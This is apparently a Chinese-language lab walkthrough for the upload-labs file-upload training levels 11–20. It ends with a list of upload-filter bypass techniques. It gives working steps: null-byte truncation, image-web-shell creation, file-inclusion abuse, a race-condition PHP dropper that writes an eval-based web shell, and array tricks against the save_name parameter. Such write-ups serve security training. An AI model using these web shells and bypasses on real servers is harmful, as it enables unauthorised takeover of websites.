Pass-11
GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传
Pass-12
POST型传参,上传目录可设置,POST型会不会进行URL编码,所以在/upload/后添加1.php%00,并且将%00用URL进行编码。编码后为空白符号,即可上传
Pass-13
文件包含,上传图片码1.jpg,利用文件包含将JPG内容当作PHP进行解析
生成图片码命令
copy 1.jpg /b + 1.php /a 2.jpg 192.168.28.128/uploadlab/include.php?file=upload/1420210717064745.png
Pass-14
同第13关
Pass-15
同14关
Pass-16
二次渲染,依旧上传图片码,找到未被渲染的位置,用C32将一句话木马插入。依旧上传,采用文件包含即可。
Pass-17
条件竞争,服务器端将上传的文件进行先保存再判断,如果正确则重命名,否则删除。
通过爆破持续上传,然后通过访问,生成新的木马文件。
上传的木马如下:
<?php fputs(fopen(‘webshell.php‘,‘w‘),‘<?php @eval($_POST[123]) ?>’); ?>
上传后进行爆破访问,生成webshell.php即为后门文件
Pass-18
图片马加条件竞争,先上传图片马,然后通过文件包含访问图片马,生产Webshell文件
Pass-19
%00截断,方法同Pass-12
Pass-20
进行代码审计,类似CTF
MIME首先得是image/png、image/gif、image/jpg
if (!is_array($file)) { $file = explode(‘.‘, strtolower($file)); }
会根据.将$file先转化为小写再打散成数组。
$ext = end($file); $allow_suffix = array(‘jpg‘,‘png‘,‘gif‘); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }
会对数组中最后一个值进行判断是否是jpg,png,gif结尾
$file_name = reset($file) . ‘.‘ . $file[count($file) - 1];
将数组的第一个值和倒数第二个值进行拼接。
所以我们考虑数组的最后一个值必须是jpg,第一个和第二个值还需要再考虑
if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; }
这边可以看到将临时文件存储再img_path,所以img_path其实可以根据传入的save_name[]数组进行操控。
而move_uploaded_file在执行的时候会忽略末尾的/.,所以根据拼接
save_name[0]=web.php/
save_name[1]为空
save_name[2]=jpg
注意POST上传改包的数据包型式即可。
总结:文件上传的种类和手法:
1.前端JS验证:禁用JS,Burp抓包修改
2.只检查Content-type,修改MIME
3.黑名单绕过:爆破尾缀
4.系统配置文件重写,.htaccess,.nginx
5.大小写绕过、尾缀添加点,空格,下划线绕过,添加::$DATA
6.过滤敏感词汇使用双写绕过
7.上传目录可控可以使用00截断,GET传参不需要编码,POST需要进行编码成为空白
8.存在文件包含漏洞可上传图片马,进行包含
9.条件竞争是服务器处理上的逻辑漏洞,需要爆破上传和爆破访问